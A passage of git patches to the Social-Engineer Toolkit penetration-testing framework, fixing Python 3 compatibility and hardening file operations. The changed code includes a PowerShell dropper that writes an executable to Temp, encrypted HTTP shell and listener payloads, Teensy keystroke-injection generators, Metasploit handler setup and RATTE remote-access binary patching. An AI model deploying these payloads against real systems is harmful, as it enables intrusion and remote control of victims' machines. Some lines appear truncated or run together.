"shellcode/alphanum" or choice1 == "shellcode/pyinject" or choice1 == "shellcode/multipyinject": filewrite = open(userconfigpath + "msf.exe", "wb") filewrite.write(fileopen) filewrite.close() diff --git a/src/core/setcore.py b/src/core/setcore.py index 974ffe268f..eee01d8634 100644 --- a/src/core/setcore.py +++ b/src/core/setcore.py @@ -106,6 +106,26 @@ def smtp_auth_b64(value): return base64.b64encode(raw_value).decode("ascii") + +def legacy_payload_binary_path(root_path, payload_choice): + payload_paths = { + "shellcode/alphanum": "src/payloads/exe/shellcodeexec.binary", + "shellcode/pyinject": "src/payloads/set_payloads/pyinjector.binary", + "shellcode/multipyinject": "src/payloads/set_payloads/multi_pyinjector.binary", + } + payload_path = payload_paths.get(payload_choice) + if payload_path is None: + raise ValueError("Unsupported legacy payload choice: %s" % payload_choice) + + resolved_path = os.path.join(root_path, payload_path) + if not os.path.isfile(resolved_path): + raise FileNotFoundError( + "The legacy Java shellcode injector payload is unavailable: %s" + % resolved_path + ) + + return resolved_path + # # Class for colors # diff --git a/tests/test_functionality_fixes.py b/tests/test_functionality_fixes.py index a941e3fd1b..3ce0d26abf 100644 --- a/tests/test_functionality_fixes.py +++ b/tests/test_functionality_fixes.py @@ -1,5 +1,7 @@ from pathlib import Path +import pytest + import src.core.setcore as setcore @@ -45,8 +47,23 @@ def test_smtp_auth_b64_returns_ascii_text(): assert isinstance(encoded, str) +def test_legacy_payload_binary_path_reports_missing_payload(tmp_path): + with pytest.raises(FileNotFoundError) as excinfo: + setcore.legacy_payload_binary_path(str(tmp_path), "shellcode/pyinject") + + assert "pyinjector.binary" in str(excinfo.value) + assert "legacy Java shellcode injector payload is unavailable" in str(excinfo.value) + + def test_harvester_writes_binary_static_files_without_encoding(): source = Path("src/webattack/harvester/harvester.py").read_text() assert 'open(requested_file, "rb")' in source assert "line = line.encode('utf-8')" not in source + + +def test_legacy_payload_injectors_use_valid_choice_names(): + source = Path("src/core/payloadgen/create_payloads.py").read_text() + + assert "legacy_payload_binary_path(definepath, choice1)" in source + assert "shellcode/multipyiject" not in source From 51bab5b8ee2c9d4b627d82ee0c4ce712cd062a7a Mon Sep 17 00:00:00 2001 From: HackingDave Date: Thu, 4 Jun 2026 16:12:42 -0400 Subject: [PATCH 07/23] Bump release metadata to 8.1.1 --- README.md | 2 +- pyproject.toml | 2 +- readme/CHANGELOG | 7 +++++++ src/core/set.version | 2 +- tests/test_release_metadata.py | 4 ++-- 5 files changed, 12 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index 5e0ad8a72c..b8f71769a8 100644 --- a/README.md +++ b/README.md @@ -14,7 +14,7 @@ SET is only for authorized testing where explicit permission and scope have been - macOS, experimental - Windows through WSL/WSL2 Kali or another supported Linux environment -SET 8.1.0 targets Python 3.11 through Python 3.13. +SET 8.1.1 targets Python 3.11 through Python 3.13. ## Installation diff --git a/pyproject.toml b/pyproject.toml index 8888b96d79..866fb41269 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta" [project] name = "social-engineer-toolkit" -version = "8.1.0" +version = "8.1.1" description = "An open-source penetration testing framework for authorized social-engineering assessments." readme = "README.md" requires-python = ">=3.11,<3.14" diff --git a/readme/CHANGELOG b/readme/CHANGELOG index b8ce19313f..aecb243764 100644 --- a/readme/CHANGELOG +++ b/readme/CHANGELOG @@ -1,3 +1,10 @@ +~~~~~~~~~~~~~~~~ +version 8.1.1 +~~~~~~~~~~~~~~~~ + +* handle missing legacy Java shellcode injector payload artifacts with a clear error instead of a traceback +* fix the multi-pyinject payload choice typo so existing artifacts are selected correctly + ~~~~~~~~~~~~~~~~ version 8.1.0 ~~~~~~~~~~~~~~~~ diff --git a/src/core/set.version b/src/core/set.version index 8104cabd36..0e79152459 100644 --- a/src/core/set.version +++ b/src/core/set.version @@ -1 +1 @@ -8.1.0 +8.1.1 diff --git a/tests/test_release_metadata.py b/tests/test_release_metadata.py index 8429335a81..6557d16684 100644 --- a/tests/test_release_metadata.py +++ b/tests/test_release_metadata.py @@ -9,8 +9,8 @@ def test_release_version_is_consistent(): pyproject = tomllib.loads((ROOT / "pyproject.toml").read_text()) set_version = (ROOT / "src/core/set.version").read_text().strip() - assert pyproject["project"]["version"] == "8.1.0" - assert set_version == "8.1.0" + assert pyproject["project"]["version"] == "8.1.1" + assert set_version == "8.1.1" def test_ci_targets_supported_python_versions(): From 57b8fdb62a5db54a421a8de26a69b97e44287fd8 Mon Sep 17 00:00:00 2001 From: HackingDave Date: Thu, 4 Jun 2026 16:44:15 -0400 Subject: [PATCH 08/23] Fix Python 3 runtime regressions from bug sweep --- src/payloads/set_payloads/set_http_server.py | 38 +++++++++++++------- src/qrcode/qrgenerator.py | 3 +- src/teensy/binary2teensy.py | 28 ++++++--------- tests/test_functionality_fixes.py | 35 ++++++++++++++++++ 4 files changed, 72 insertions(+), 32 deletions(-) diff --git a/src/payloads/set_payloads/set_http_server.py b/src/payloads/set_payloads/set_http_server.py index e5a3d54ce0..9b49fd130b 100644 --- a/src/payloads/set_payloads/set_http_server.py +++ b/src/payloads/set_payloads/set_http_server.py @@ -25,20 +25,32 @@ # the character used for padding--with a block cipher such as AES, the value # you encrypt must be a multiple of BLOCK_SIZE in length. This character is # used to ensure that your value is always a multiple of BLOCK_SIZE -PADDING = '{' -# one-liner to sufficiently pad the text to be encrypted -pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING +PADDING = b'{' -# one-liners to encrypt/encode and decrypt/decode a string -# encrypt with AES, encode with base64 -EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s))) -DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING) + +def _to_bytes(value): + if isinstance(value, bytes): + return value + return str(value).encode("utf-8") + + +def pad(value): + raw_value = _to_bytes(value) + return raw_value + (BLOCK_SIZE - len(raw_value) % BLOCK_SIZE) * PADDING + + +def EncodeAES(cipher_obj, value): + return base64.b64encode(cipher_obj.encrypt(pad(value))) + + +def DecodeAES(cipher_obj, value): + return cipher_obj.decrypt(base64.b64decode(value)).rstrip(PADDING).decode("utf-8", "replace") # 32 character secret key - change this if you want to be unique -secret = "(3j^%sh@hd3hDH2u3h@*!~h~2&^lk\n" # powershell command here, needs to be unicoded then base64 in order to use encodedcommand -powershell_command = unicode("$s=gc \"$HOME\\AppData\\Local\\Temp\\%s\";$s=[string]::Join('',$s);$s=$s.Replace('`r',''); $s=$s.Replace('`n','');$b=new-object byte[] $($s.Length/2);0..$($b.Length-1)|%%{$b[$_]=[Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes(\"$HOME\\AppData\\Local\\Temp\\%s.exe\",$b)" % (random_filename,random_filename)) +powershell_command = "$s=gc \"$HOME\\AppData\\Local\\Temp\\%s\";$s=[string]::Join('',$s);$s=$s.Replace('`r',''); $s=$s.Replace('`n','');$b=new-object byte[] $($s.Length/2);0..$($b.Length-1)|%%{$b[$_]=[Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes(\"$HOME\\AppData\\Local\\Temp\\%s.exe\",$b)" % (random_filename,random_filename) ######################################################################################################################################################################################################## # @@ -176,7 +173,7 @@ # assign powershell command as the new one powershell_command = blank_command # base64 encode the powershell command -powershell_command = base64.b64encode(powershell_command) +powershell_command = base64.b64encode(powershell_command.encode("utf-8")).decode("ascii") # while true while 1: @@ -317,16 +314,12 @@ if not os.path.isdir(userconfigpath + "reports"): os.makedirs(userconfigpath + "reports") print_status("Binary to Teensy file exported as %sreports/binary2teensy" % (userconfigpath)) # write the teensy.ino file out -filewrite = file(userconfigpath + "reports/binary2teensy.ino", "w") -# write the teensy.ino file out -filewrite.write(output_variable) -# close the file -filewrite.close() +with open(userconfigpath + "reports/binary2teensy.ino", "w", encoding="utf-8") as filewrite: + filewrite.write(output_variable) print_status("Generating a listener...") # create our metasploit answer file -filewrite = file(userconfigpath + "answer.txt", "w") -filewrite.write("use multi/handler\nset payload %s\nset LHOST %s\nset LPORT %s\n%s\nexploit -j" % (payload,ipaddr,port,url)) -filewrite.close() +with open(userconfigpath + "answer.txt", "w", encoding="utf-8") as filewrite: + filewrite.write("use multi/handler\nset payload %s\nset LHOST %s\nset LPORT %s\n%s\nexploit -j" % (payload,ipaddr,port,url)) # spawn a multi/handler listener subprocess.Popen("msfconsole -r %sanswer.txt" % (userconfigpath), shell=True).wait() print_status("[*] Housekeeping old files...") @@ -334,4 +327,3 @@ if os.path.isfile(userconfigpath + "answer.txt"): # remove the old file, no longer used once we've exited subprocess.Popen("rm " + userconfigpath + "answer.txt", shell=True).wait() - diff --git a/tests/test_functionality_fixes.py b/tests/test_functionality_fixes.py index 3ce0d26abf..9cd156d345 100644 --- a/tests/test_functionality_fixes.py +++ b/tests/test_functionality_fixes.py @@ -1,8 +1,11 @@ +import ast +import os from pathlib import Path import pytest import src.core.setcore as setcore +import src.qrcode.qrgenerator as qrgenerator def test_safe_join_webroot_allows_files_under_root(tmp_path): @@ -67,3 +70,35 @@ def test_legacy_payload_injectors_use_valid_choice_names(): assert "legacy_payload_binary_path(definepath, choice1)" in source assert "shellcode/multipyiject" not in source + + +def test_binary2teensy_no_longer_uses_removed_python2_builtins(): + tree = ast.parse(Path("src/teensy/binary2teensy.py").read_text()) + + removed_builtin_calls = { + node.func.id + for node in ast.walk(tree) + if isinstance(node, ast.Call) + and isinstance(node.func, ast.Name) + and node.func.id in {"file", "unicode"} + } + + assert removed_builtin_calls == set() + + +def test_qrcode_generator_creates_reports_directory(tmp_path, monkeypatch): + monkeypatch.setattr(qrgenerator.core, "userconfigpath", str(tmp_path) + os.sep) + + qrgenerator.gen_qrcode("https://example.com") + + assert (tmp_path / "reports/qrcode_attack.png").is_file() + + +def test_set_http_server_uses_python3_header_and_aes_byte_handling(): + source = Path("src/payloads/set_payloads/set_http_server.py").read_text() + + assert ".headers.get(" in source + assert ".headers.getheader(" not in source + assert 'secret = b"' in source + assert "AES.new(secret, AES.MODE_ECB)" in source + assert "[0-9a-fA-F]" in source From 3e371c44af448e48548a5998adb8c0a6128ec05b Mon Sep 17 00:00:00 2001 From: HackingDave Date: Thu, 4 Jun 2026 16:45:10 -0400 Subject: [PATCH 09/23] Bump release metadata to 8.1.2 --- README.md | 2 +- pyproject.toml | 2 +- readme/CHANGELOG | 8 ++++++++ src/core/set.version | 2 +- tests/test_release_metadata.py | 4 ++-- 5 files changed, 13 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index b8f71769a8..8bc3d53857 100644 --- a/README.md +++ b/README.md @@ -14,7 +14,7 @@ SET is only for authorized testing where explicit permission and scope have been - macOS, experimental - Windows through WSL/WSL2 Kali or another supported Linux environment -SET 8.1.1 targets Python 3.11 through Python 3.13. +SET 8.1.2 targets Python 3.11 through Python 3.13. ## Installation diff --git a/pyproject.toml b/pyproject.toml index 866fb41269..21469f278e 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta" [project] name = "social-engineer-toolkit" -version = "8.1.1" +version = "8.1.2" description = "An open-source penetration testing framework for authorized social-engineering assessments." readme = "README.md" requires-python = ">=3.11,<3.14" diff --git a/readme/CHANGELOG b/readme/CHANGELOG index aecb243764..f3589603d8 100644 --- a/readme/CHANGELOG +++ b/readme/CHANGELOG @@ -1,3 +1,11 @@ +~~~~~~~~~~~~~~~~ +version 8.1.2 +~~~~~~~~~~~~~~~~ + +* fix Python 3 runtime errors in the Binary2Teensy generator caused by removed Python 2 builtins and byte/string handling +* create the QR-code reports directory before writing generated QR images +* fix Python 3 encrypted HTTP listener AES initialization, request-header parsing, POST decoding, and URL hex decoding + ~~~~~~~~~~~~~~~~ version 8.1.1 ~~~~~~~~~~~~~~~~ diff --git a/src/core/set.version b/src/core/set.version index 0e79152459..6b409d977b 100644 --- a/src/core/set.version +++ b/src/core/set.version @@ -1 +1 @@ -8.1.1 +8.1.2 diff --git a/tests/test_release_metadata.py b/tests/test_release_metadata.py index 6557d16684..370f8785fe 100644 --- a/tests/test_release_metadata.py +++ b/tests/test_release_metadata.py @@ -9,8 +9,8 @@ def test_release_version_is_consistent(): pyproject = tomllib.loads((ROOT / "pyproject.toml").read_text()) set_version = (ROOT / "src/core/set.version").read_text().strip() - assert pyproject["project"]["version"] == "8.1.1" - assert set_version == "8.1.1" + assert pyproject["project"]["version"] == "8.1.2" + assert set_version == "8.1.2" def test_ci_targets_supported_python_versions(): From 5e6d65d413f141b115983071d8e69c934ab59525 Mon Sep 17 00:00:00 2001 From: HackingDave Date: Thu, 4 Jun 2026 16:53:11 -0400 Subject: [PATCH 10/23] Fix AES payload runtime compatibility --- src/core/setcore.py | 18 +++++----- src/payloads/set_payloads/http_shell.py | 44 ++++++++++++++++--------- src/payloads/set_payloads/listener.py | 29 ++++++++++------ tests/test_functionality_fixes.py | 31 +++++++++++++++++ 4 files changed, 88 insertions(+), 34 deletions(-) diff --git a/src/core/setcore.py b/src/core/setcore.py index eee01d8634..a077eb040a 100644 --- a/src/core/setcore.py +++ b/src/core/setcore.py @@ -1749,25 +1749,27 @@ def encryptAES(secret, data): # the character used for padding--with a block cipher such as AES, the value # you encrypt must be a multiple of BLOCK_SIZE in length. This character is # used to ensure that your value is always a multiple of BLOCK_SIZE - PADDING = '{' + PADDING = b'{' BLOCK_SIZE = 32 - # one-liner to sufficiently pad the text to be encrypted - pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING + def to_bytes(value): + if isinstance(value, bytes): + return value + return str(value).encode("utf-8") - # random value here to randomize builds - a = 50 * 5 + def pad(value): + raw_value = to_bytes(value) + return raw_value + (BLOCK_SIZE - len(raw_value) % BLOCK_SIZE) * PADDING # one-liners to encrypt/encode and decrypt/decode a string # encrypt with AES, encode with base64 EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s))) - DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING) - cipher = AES.new(secret) + cipher = AES.new(secret, AES.MODE_ECB) aes = EncodeAES(cipher, data) - return str(aes) + return aes.decode("ascii") # compare ports to make sure its not already in a config file for metasploit diff --git a/src/payloads/set_payloads/http_shell.py b/src/payloads/set_payloads/http_shell.py index dc07de3e5a..270a88cb17 100644 --- a/src/payloads/set_payloads/http_shell.py +++ b/src/payloads/set_payloads/http_shell.py @@ -36,7 +36,7 @@ ########################################################################## -import urllib +from urllib import parse, request from Crypto.Cipher import AES import sys import os @@ -51,21 +51,33 @@ # the character used for padding--with a block cipher such as AES, the value # you encrypt must be a multiple of BLOCK_SIZE in length. This character is # used to ensure that your value is always a multiple of BLOCK_SIZE -PADDING = '{' -# one-liner to sufficiently pad the text to be encrypted -pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING +PADDING = b'{' -# one-liners to encrypt/encode and decrypt/decode a string -# encrypt with AES, encode with base64 -EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s))) -DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING) + +def _to_bytes(value): + if isinstance(value, bytes): + return value + return str(value).encode("utf-8") + + +def pad(value): + raw_value = _to_bytes(value) + return raw_value + (BLOCK_SIZE - len(raw_value) % BLOCK_SIZE) * PADDING + + +def EncodeAES(cipher_obj, value): + return base64.b64encode(cipher_obj.encrypt(pad(value))) + + +def DecodeAES(cipher_obj, value): + return cipher_obj.decrypt(base64.b64decode(value)).rstrip(PADDING).decode("utf-8", "replace") # secret key, change this if you want to be unique -secret = "(3j^%sh@hd3hDH2u3h@*!~h~2&^lk Date: Thu, 4 Jun 2026 16:55:20 -0400 Subject: [PATCH 11/23] Fix remaining Python 3 text boundaries --- src/core/setcore.py | 3 +-- src/phishing/smtp/client/smtp_web.py | 4 ++-- src/teensy/sd2teensy.py | 2 +- tests/test_functionality_fixes.py | 15 +++++++++++++++ 4 files changed, 19 insertions(+), 5 deletions(-) diff --git a/src/core/setcore.py b/src/core/setcore.py index a077eb040a..a1a7b92ba6 100644 --- a/src/core/setcore.py +++ b/src/core/setcore.py @@ -704,7 +704,6 @@ class ReusableTCPServer(socketserver.TCPServer): def start_web_server_unthreaded(directory): try: # import the threading, socketserver, and simplehttpserver - import thread import socketserver import http.server # create the httpd handler for the simplehttpserver @@ -1548,7 +1547,7 @@ def socket_listener(port): while 1: command = raw_input("Enter shell command or quit: ") - conn.send(command) + conn.sendall(command.encode("utf-8")) # if we specify quit then break out of loop and close socket if command == "quit": break diff --git a/src/phishing/smtp/client/smtp_web.py b/src/phishing/smtp/client/smtp_web.py index 5476e784e7..84f5800eb1 100644 --- a/src/phishing/smtp/client/smtp_web.py +++ b/src/phishing/smtp/client/smtp_web.py @@ -478,7 +478,7 @@ def mail(to, subject, prioflag1, prioflag2, text): # if we specify to track users, this will replace the INSERTUSERHERE with # the "TO" field. if track_email.lower() == "on": - body_new = body_new.replace("INSERTUSERHERE", str(base64.b64encode(to.encode()))) + body_new = body_new.replace("INSERTUSERHERE", smtp_auth_b64(to)) # call the function to send email try: mail(to, subject, prioflag1, prioflag2, body_new) @@ -504,7 +504,7 @@ def mail(to, subject, prioflag1, prioflag2, text): # if we specify to track users, this will replace the INSERTUSERHERE # with the "TO" field. if track_email.lower() == "on": - body_new = body_new.replace("INSERTUSERHERE", str(base64.b64encode(to.encode()))) + body_new = body_new.replace("INSERTUSERHERE", smtp_auth_b64(to)) # send the actual email time_delay = check_config("TIME_DELAY_EMAIL=").lower() time.sleep(int(time_delay)) diff --git a/src/teensy/sd2teensy.py b/src/teensy/sd2teensy.py index f144319eaf..17c7038788 100644 --- a/src/teensy/sd2teensy.py +++ b/src/teensy/sd2teensy.py @@ -103,7 +103,7 @@ # assign powershell command as the new one powershell_command = blank_command # base64 encode the powershell command -powershell_command = base64.b64encode(powershell_command) +powershell_command = base64.b64encode(powershell_command.encode("utf-8")).decode("ascii") # vbs filename vbs = core.generate_random_string(10, 15) + ".vbs" diff --git a/tests/test_functionality_fixes.py b/tests/test_functionality_fixes.py index 6e9c42f78a..091375f898 100644 --- a/tests/test_functionality_fixes.py +++ b/tests/test_functionality_fixes.py @@ -133,3 +133,18 @@ def test_payload_aes_modules_use_explicit_mode_and_python3_urllib(): assert "import _thread as thread" in listener assert "conn.sendall(_socket_bytes(" in listener assert "conn.send(str(" not in listener + + +def test_remaining_python3_text_boundaries_are_normalized(): + sd2teensy = Path("src/teensy/sd2teensy.py").read_text() + assert 'base64.b64encode(powershell_command.encode("utf-8")).decode("ascii")' in sd2teensy + assert "core.powershell_encodedcommand(powershell_command)" in sd2teensy + + smtp_web = Path("src/phishing/smtp/client/smtp_web.py").read_text() + assert 'str(base64.b64encode(to.encode()))' not in smtp_web + assert "smtp_auth_b64(to)" in smtp_web + + setcore = Path("src/core/setcore.py").read_text() + assert "# import the threading, socketserver, and simplehttpserver\n import thread" not in setcore + assert 'conn.sendall(command.encode("utf-8"))' in setcore + assert "conn.send(command)" not in setcore From 676d70501748017140a6148ebf6f534d7621be2c Mon Sep 17 00:00:00 2001 From: HackingDave Date: Thu, 4 Jun 2026 16:56:35 -0400 Subject: [PATCH 12/23] Fix SMTP fallback send threading --- src/phishing/smtp/client/smtp_client.py | 4 ++-- tests/test_functionality_fixes.py | 7 +++++++ 2 files changed, 9 insertions(+), 2 deletions(-) diff --git a/src/phishing/smtp/client/smtp_client.py b/src/phishing/smtp/client/smtp_client.py index f5bc30f3cf..5718105686 100644 --- a/src/phishing/smtp/client/smtp_client.py +++ b/src/phishing/smtp/client/smtp_client.py @@ -425,8 +425,8 @@ def mail(to, subject, text, attach, prioflag1, prioflag2): print(str(e)) try: mailServer.login(provideremail, pwd) - thread.start_new_thread(mailServer.sendmail( - from_address, to, io.getvalue())) + thread.start_new_thread( + mailServer.sendmail, (from_address, to, io.getvalue())) except Exception as e: return_continue() diff --git a/tests/test_functionality_fixes.py b/tests/test_functionality_fixes.py index 091375f898..a0574ed598 100644 --- a/tests/test_functionality_fixes.py +++ b/tests/test_functionality_fixes.py @@ -148,3 +148,10 @@ def test_remaining_python3_text_boundaries_are_normalized(): assert "# import the threading, socketserver, and simplehttpserver\n import thread" not in setcore assert 'conn.sendall(command.encode("utf-8"))' in setcore assert "conn.send(command)" not in setcore + + +def test_smtp_client_threads_sendmail_callable_instead_of_result(): + source = Path("src/phishing/smtp/client/smtp_client.py").read_text() + + assert "thread.start_new_thread(mailServer.sendmail(\n" not in source + assert "thread.start_new_thread(mailServer.sendmail,\n" in source From 7e7bc01de0e76601ef2213038060fb8134782942 Mon Sep 17 00:00:00 2001 From: HackingDave Date: Thu, 4 Jun 2026 16:58:39 -0400 Subject: [PATCH 13/23] Harden Teensy file operations --- src/teensy/binary2teensy.py | 12 +++++++----- src/teensy/sd2teensy.py | 3 ++- src/teensy/teensy.py | 12 ++++++------ tests/test_functionality_fixes.py | 16 ++++++++++++++++ 4 files changed, 31 insertions(+), 12 deletions(-) diff --git a/src/teensy/binary2teensy.py b/src/teensy/binary2teensy.py index 1cc7bfa5cf..32d3dd5777 100644 --- a/src/teensy/binary2teensy.py +++ b/src/teensy/binary2teensy.py @@ -310,7 +310,8 @@ Keyboard.send_now(); }""" % (random_filename,random_filename,powershell_command,vbs,bat,vbs,vbs,random_filename,alpha_payload,bat,vbs)) # delete temporary file -subprocess.Popen("rm %s 1> /dev/null 2>/dev/null" % (random_filename), shell=True).wait() +if os.path.isfile(random_filename): + os.remove(random_filename) if not os.path.isdir(userconfigpath + "reports"): os.makedirs(userconfigpath + "reports") print_status("Binary to Teensy file exported as %sreports/binary2teensy" % (userconfigpath)) # write the teensy.ino file out @@ -318,12 +319,13 @@ filewrite.write(output_variable) print_status("Generating a listener...") # create our metasploit answer file -with open(userconfigpath + "answer.txt", "w", encoding="utf-8") as filewrite: +answer_path = userconfigpath + "answer.txt" +with open(answer_path, "w", encoding="utf-8") as filewrite: filewrite.write("use multi/handler\nset payload %s\nset LHOST %s\nset LPORT %s\n%s\nexploit -j" % (payload,ipaddr,port,url)) # spawn a multi/handler listener -subprocess.Popen("msfconsole -r %sanswer.txt" % (userconfigpath), shell=True).wait() +subprocess.Popen(["msfconsole", "-r", answer_path]).wait() print_status("[*] Housekeeping old files...") # if our answer file is still there (which it should be), then remove it -if os.path.isfile(userconfigpath + "answer.txt"): +if os.path.isfile(answer_path): # remove the old file, no longer used once we've exited - subprocess.Popen("rm " + userconfigpath + "answer.txt", shell=True).wait() + os.remove(answer_path) diff --git a/src/teensy/sd2teensy.py b/src/teensy/sd2teensy.py index 17c7038788..6662885708 100644 --- a/src/teensy/sd2teensy.py +++ b/src/teensy/sd2teensy.py @@ -231,7 +231,8 @@ }} """.format(random_filename=random_filename, encodedcommand=core.powershell_encodedcommand(powershell_command), vbs=vbs, bat=bat)) # delete temporary file -subprocess.Popen("rm {0} 1> /dev/null 2>/dev/null".format(random_filename), shell=True).wait() +if os.path.isfile(random_filename): + os.remove(random_filename) print("[*] Binary to Teensy file exported as teensy.ino") # write the teensy.ino file out with open("teensy.ino", "w") as filewrite: diff --git a/src/teensy/teensy.py b/src/teensy/teensy.py index e31c1d8f5d..8e445f49ea 100644 --- a/src/teensy/teensy.py +++ b/src/teensy/teensy.py @@ -8,6 +8,7 @@ import datetime import os import re +import shutil import subprocess import src.core.setcore as core @@ -146,17 +147,16 @@ def writefile(filename, now): metasploit_exec_path = os.path.join(core.userconfigpath, "msf.exe") if not apache: - subprocess.Popen("mkdir {0};" - "cp {1} {2} 1> /dev/null 2> /dev/null".format(webclone_path + - metasploit_exec_path + - os.path.join(webclone_path + "x.exe")), - shell=True).wait() + os.makedirs(webclone_path, exist_ok=True) + if os.path.isfile(metasploit_exec_path): + shutil.copyfile(metasploit_exec_path, os.path.join(webclone_path, "x.exe")) if operating_system != "windows": child = pexpect.spawn("python src/html/web_server.py") else: - subprocess.Popen("cp {0} {1}".format(metasploit_exec_path, os.path.join(webclone_path + "x.exe")), shell=True).wait() + if os.path.isfile(metasploit_exec_path): + shutil.copyfile(metasploit_exec_path, os.path.join(webclone_path, "x.exe")) if os.path.isfile(os.path.join(core.userconfigpath, "meta_config")): print(core.bcolors.BLUE + "\n[*] Launching MSF Listener...") diff --git a/tests/test_functionality_fixes.py b/tests/test_functionality_fixes.py index a0574ed598..27a759e019 100644 --- a/tests/test_functionality_fixes.py +++ b/tests/test_functionality_fixes.py @@ -155,3 +155,19 @@ def test_smtp_client_threads_sendmail_callable_instead_of_result(): assert "thread.start_new_thread(mailServer.sendmail(\n" not in source assert "thread.start_new_thread(mailServer.sendmail,\n" in source + + +def test_teensy_file_operations_avoid_shell_wrappers(): + binary2teensy = Path("src/teensy/binary2teensy.py").read_text() + sd2teensy = Path("src/teensy/sd2teensy.py").read_text() + teensy = Path("src/teensy/teensy.py").read_text() + + assert 'subprocess.Popen("rm ' not in binary2teensy + assert 'subprocess.Popen("msfconsole -r ' not in binary2teensy + assert 'subprocess.Popen("rm ' not in sd2teensy + assert 'subprocess.Popen("cp ' not in teensy + assert "os.remove(random_filename)" in binary2teensy + assert "os.remove(answer_path)" in binary2teensy + assert "subprocess.Popen([\"msfconsole\", \"-r\", answer_path])" in binary2teensy + assert "os.remove(random_filename)" in sd2teensy + assert "shutil.copyfile(metasploit_exec_path, os.path.join(webclone_path, \"x.exe\"))" in teensy From 5834d205d6eb3aca8908993945ad68dbf4714a15 Mon Sep 17 00:00:00 2001 From: HackingDave Date: Thu, 4 Jun 2026 17:04:29 -0400 Subject: [PATCH 14/23] Harden applet and RATTE file operations --- modules/ratte_module.py | 43 ++++++++++++++++++------- modules/ratte_only_module.py | 20 ++++++++---- src/core/setcore.py | 17 ++++++---- src/phishing/smtp/client/smtp_client.py | 5 ++- tests/test_functionality_fixes.py | 22 +++++++++++++ 5 files changed, 78 insertions(+), 29 deletions(-) diff --git a/modules/ratte_module.py b/modules/ratte_module.py index 0399e69ddf..e3661f3241 100755 --- a/modules/ratte_module.py +++ b/modules/ratte_module.py @@ -3,6 +3,7 @@ # These are required fields # import os +import shutil import subprocess from time import sleep @@ -107,21 +108,30 @@ def java_applet_attack_tw(website, port, directory, ipaddr): for line in fileopen: # define executable name and rename it filename = line.rstrip() + if not filename: + continue # move the file to the specified directory and filename - subprocess.Popen("cp src/payloads/ratte/ratte.binary %s/%s 1> /dev/null 2> /dev/null" % (directory, filename), shell=True).wait() + shutil.copyfile( + os.path.join("src", "payloads", "ratte", "ratte.binary"), + os.path.join(directory, filename), + ) # lastly we need to copy over the signed applet - subprocess.Popen("cp %s/Signed_Update.jar %s 1> /dev/null 2> /dev/null" % (userconfigpath, directory), shell=True).wait() + shutil.copyfile( + os.path.join(userconfigpath, "Signed_Update.jar"), + os.path.join(directory, "Signed_Update.jar"), + ) # TODO index.html parsen und IPADDR:Port ersetzen with open(os.path.join(directory, "index.html"), "rb") as fileopen: data = fileopen.read() with open(os.path.join(directory, "index.html"), 'wb') as filewrite: - to_replace = core.grab_ipaddress() + ":80" + to_replace = (core.grab_ipaddress() + ":80").encode("utf-8") + replacement = ("%s:%s" % (ipaddr, port)).encode("utf-8") # replace 3 times - filewrite.write(data.replace(str(to_replace), ipaddr + ":" + str(port), 3)) + filewrite.write(data.replace(to_replace, replacement, 3)) # start the web server by running it in the background start_web_server_tw(directory, port) @@ -150,16 +160,22 @@ def prepare_ratte(ipaddr, ratteport, persistent, customexe): ############ with open(os.path.join(userconfigpath, "ratteM.exe"), 'wb') as filewrite: - host = (len(ipaddr) + 1) * "X" - r_port = (len(str(ratteport)) + 1) * "Y" - pers = (len(str(persistent)) + 1) * "Z" + host = ((len(ipaddr) + 1) * "X").encode("ascii") + r_port = ((len(str(ratteport)) + 1) * "Y").encode("ascii") + pers = ((len(str(persistent)) + 1) * "Z").encode("ascii") # check ob cexe > 0, sonst wird ein Feld gepatcht (falsch!) if customexe: - cexe = (len(str(customexe)) + 1) * "Q" + cexe = ((len(str(customexe)) + 1) * "Q").encode("ascii") else: - cexe = "" + cexe = None - filewrite.write(data.replace(cexe, customexe + "\x00", 1).replace(pers, persistent + "\x00", 1).replace(host, ipaddr + "\x00", 1).replace(r_port, str(ratteport) + "\x00", 1)) + patched = data + if cexe is not None: + patched = patched.replace(cexe, (customexe + "\x00").encode("utf-8"), 1) + patched = patched.replace(pers, (persistent + "\x00").encode("utf-8"), 1) + patched = patched.replace(host, (ipaddr + "\x00").encode("utf-8"), 1) + patched = patched.replace(r_port, (str(ratteport) + "\x00").encode("utf-8"), 1) + filewrite.write(patched) # def main(): header is required @@ -271,10 +287,13 @@ def main(): core.print_info("Starting java applet attack...") java_applet_attack_tw(website, javaport, "reports/", ipaddr) - with open(os.path.join(userconfigpath, definepath, "/rand_gen")) as fileopen: + with open(os.path.join(userconfigpath, "rand_gen")) as fileopen: for line in fileopen: ratte_random = line.rstrip() - subprocess.Popen("cp %s/ratteM.exe %s/reports/%s" % (os.path.join(userconfigpath, definepath), definepath, ratte_random), shell=True).wait() + shutil.copyfile( + os.path.join(userconfigpath, "ratteM.exe"), + os.path.join(definepath, "reports", ratte_random), + ) ####################### # start ratteserver diff --git a/modules/ratte_only_module.py b/modules/ratte_only_module.py index 4b956db0ab..99d72dc8b8 100755 --- a/modules/ratte_only_module.py +++ b/modules/ratte_only_module.py @@ -42,16 +42,22 @@ def prepare_ratte(ipaddr, ratteport, persistent, customexe): ############ with open(os.path.join(core.userconfigpath, "ratteM.exe"), "wb") as filewrite: - host = (len(ipaddr) + 1) * "X" - r_port = (len(str(ratteport)) + 1) * "Y" - pers = (len(str(persistent)) + 1) * "Z" + host = ((len(ipaddr) + 1) * "X").encode("ascii") + r_port = ((len(str(ratteport)) + 1) * 